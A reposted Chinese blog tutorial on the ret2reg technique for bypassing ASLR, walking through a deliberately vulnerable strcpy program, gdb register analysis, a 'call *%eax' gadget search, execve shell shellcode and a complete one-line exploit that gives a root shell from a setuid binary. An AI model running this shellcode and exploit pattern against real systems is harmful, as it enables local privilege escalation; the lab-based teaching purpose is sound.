使用ret2reg攻击绕过地址混淆

[转载,原文:http://blog.csdn.net/linyt/article/details/43612409]

(根据自己测试遇到的问题,修改了下测试程序)

 

前面介绍的攻击方法,EIP注入的地址必须是一个确定地址,否则无法攻击成功,为了与本文介绍的攻击方法形成比对,我将前面的方法称为ret2addr(return-to-address,返回到确定地址执行的攻击方法)。


安全人员为保护免受ret2addr攻击,想到了一个办法,那就是地址混淆技术。该述语英文称为 Address Space LayoutRandomization,直译为地址随机化。该技术将栈,堆和动态库空间全部随机化。在32位系统上,随机量在64M范围;而在64位系统,它的随机量在2G范围,因此原来的ret2addr技术无法攻击成功。(简单来说,就是程序每次执行时,其地址都不一样


很快攻击者想到另一种攻击方法ret2reg,即return-to-register,返回到寄存地址执行 的攻击方法。

它的原理很简单

1) 分析和调试汇编,看溢出函返回时哪个寄存值指向溢出缓冲区空间

2)然后反编译二进制,查找call reg 或者jmp reg指令,将该指令所在的地址注入到 EIP

3)再在reg指向的空间上注入Shellcode


此攻击方法之所以能成功,是因为函数内部实现时,溢出的缓冲区地址通常会加载到某个寄存器上,在后在的运行过程中不会修改。尽管栈空间具有随机性,但该寄存器的值与缓冲区地址的关系是确定的,在随机地址之上,建立了必然的地址关系。一句话就是 在随机性上找到地址的确定性关系。


攻击准备

打开Linux的地址混淆功能:

echo 2 > /proc/sys/kernel/randomize_va_space

 

漏洞程序

编写如下的程序,源文件命名为stack2.c

 1 #include <stdio.h>
 2 #include <string.h>
 3 
 4 void f(char *input)
 5 {
 6     char buffer[512];
 7     strcpy(buffer, input);
 8 }
 9 
10 void f2(char *input)
11 {
12     f(input);
13 }
14 int main(int argc, char **argv)
15 {
16     f2(argv[1]);    
17     return 0;
18 } 


编译命令如下:

 

$ gcc -Wall -g -o stack2 stack2.c -z execstack -m32 -fno-stack-protector


对准EIP

还是老方法,第一步首先是对准EIP,由于buffer变量的大小是512字节,那我们的填充内容 512个A和BBBB开始,每次增加4个A,直到将BBBB注入到EIP。下面成功将BBBB注入EIP的结果:

 

 

$ ./stack2 $(perl -e 'printf "A"x524 . "BBBB"')

 

$ gdb ./stack2 core -q

Reading symbols from /home/ivan/exploit/stack2...done.

[New LWP 3979]


warning: Can't read pathname for load map: Input/output error.

Core was generated by `./stack2 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'.

Program terminated with signal 11, Segmentation fault.

#0  0x42424242 in ?? ()

(gdb) info registers 

eax            0xfff94ed0 -438576

ecx            0xfff96500 -432896

edx            0xfff950d8 -438056

ebx            0xf7758ff4 -143290380

esp            0xfff950e0 0xfff950e0

ebp           0x41414141 0x41414141

esi             0x0 0

edi            0x0 0

eip            0x424242420x42424242

eflags       0x10202 [ IF RF ]

cs              0x23 35

ss              0x2b 43

ds             0x2b 43

es             0x2b 43

fs              0x00

gs             0x6399


确定哪个寄存器与缓冲区有确定性的关系

如果你一步一步地按ret2addr攻击方法操作并攻击成功,那么你会发现此时的esp就是指向注入EIP的下一个地址。如果你能在程序中找到call esp或者jmp esp这样的指令,就可以将EIP注入该指令地址,并且在EIP后面注入shellcode,那就彻底绕过地址混淆保护方法。

 

可惜的是,整个程序都找到这样的指令。OK,那我们退而求其次……

 

认真观察一下f函数的反编译:

 1 (gdb) disassemble f
 2 Dump of assembler code for function f:
 3    0x0804840b <+0>:    push   %ebp
 4    0x0804840c <+1>:    mov    %esp,%ebp
 5    0x0804840e <+3>:    sub    $0x208,%esp
 6    0x08048414 <+9>:    sub    $0x8,%esp
 7    0x08048417 <+12>:    pushl  0x8(%ebp)
 8    0x0804841a <+15>:    lea    -0x208(%ebp),%eax
 9    0x08048420 <+21>:    push   %eax
10    0x08048421 <+22>:    call   0x80482e0 <strcpy@plt>
11    0x08048426 <+27>:    add    $0x10,%esp
12    0x08048429 <+30>:    nop
13    0x0804842a <+31>:    leave  
14    0x0804842b <+32>:    ret    
15 End of assembler dump.

 

发现调用strcpy函数前,eax指向buffer地址;但是eax属于caller-save寄存器,strcpy函数是否会将它改掉呢?我们就以对准EIP生成的core文件,分析一下strcpy函数中是否更改了eax:

 生成core是,eax 值为0xfff94ed0,使用x命令查看它是否指向一块内容为AAAA的内存:

 

(gdb) x/40xw 0xfff94ed0 - 0x10

0xfff94ec0:0xfff94ed00xfff962f80xf779353c0x00000020

0xfff94ed0:0x414141410x414141410x414141410x41414141

0xfff94ee0:0x414141410x414141410x414141410x41414141

0xfff94ef0:0x414141410x414141410x414141410x41414141

0xfff94f00:0x414141410x414141410x414141410x41414141

0xfff94f10:0x414141410x414141410x414141410x41414141

0xfff94f20:0x414141410x414141410x414141410x41414141

0xfff94f30:0x414141410x414141410x414141410x41414141

0xfff94f40:0x414141410x414141410x414141410x41414141

0xfff94f50:0x414141410x414141410x414141410x41414141


果然eax就是buffer缓冲区的地址。


查找call eax/jmp eax指令

前文提到,已将地址混淆地址打开,就算找到call eax/jmp eax指令的地址也是随机的,每次运行不确定,造成攻击不成功。

 

前文提到使用 echo 2 > /proc/sys/kernel/randomize_va_space 命令将地址混淆技术启用,但该技术对栈空间,堆地址和动态库加载空间都进行了混淆,唯独没有对程序做地址混淆。

 

事实上Linux gcc编译器提供了-fPIE选项,但用它来编译,可使程序空间做地址混淆,造成整个进程地址混淆。但一般的开源软件和商用Linux发行商的服务进程并没有使用-fPIE进行安全增加,还是留下了可利用空间。注意到, stack2在编译时没有使用-fPIE选项。

 

使用objdump和grep命令查看是否有与eax/esp相关的转跳指令:

 

$ objdump -d stack2 | grep *%eax

 80483df: ff d0                call   *%eax

 80484cb: ff d0                call   *%eax

$ objdump -d stack2 | grep *%esp


找到两条  call *%eax指令。


好,就利用0x80483df地址上的call *%eax指令,将\xdf\x83\x04\x08注入到EIP,让函数返回时,执行call *%eax,跳到缓冲区的开始地址去执行;接着我们小心翼翼地址将shellcode放到buffer开始地址即可。


因此注入内容格式如下:


ShellCode(N) + A(524-N) + \xdf\x83\x04\x08


攻击测试

在如何编写shellcode中介绍了打开sh的shellcode,就使用这个shellcode进行测试。该shellcode内容:

\x31\xd2\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\x31\xc0\xb0\x0b\xcd\x80


长度为25个字节,即上述注入内容格式中的N为25:


\x31\xd2\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\x31\xc0\xb0\x0b\xcd\x80 + Ax499 + \xdf\x83\x04\x08


为了更方法验证攻击功,我们将stack2的owner设置为root,并带S位,让普通用户也能执行。 

$ sudo chown root:root ./stack2

$ sudo chmod a+s ./stack2


最后时刻:


$ ./stack2 $(perl -e 'printf "\x31\xd2\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\x31\xc0\xb0\x0b\xcd\x80" . "A"x499 ."\xdf\x83\x04\x08"')

# whoami

root

击攻成功,打开新sh,从普通用户权限提升成root.

 

 小结:

其实ret2reg方法,并不是总能攻击成功了,如果程序strcpy或者后面的代码复用了eax寄存,那eax跟buffer就没有关毛钱关系,无法建立确定性。

 

ret2reg方法核心是:找到寄存器与缓冲区地址的确定性关系,然后从程序中搜索call reg/jmp reg这样的指令;如果两者条件满足,则存利用空间

 

 

原始博客:http://blog.csdn.net/linyt/article/details/43612409 

posted @ 2016-08-08 10:46  qwertwwwe  阅读(1124)  评论(0编辑  收藏  举报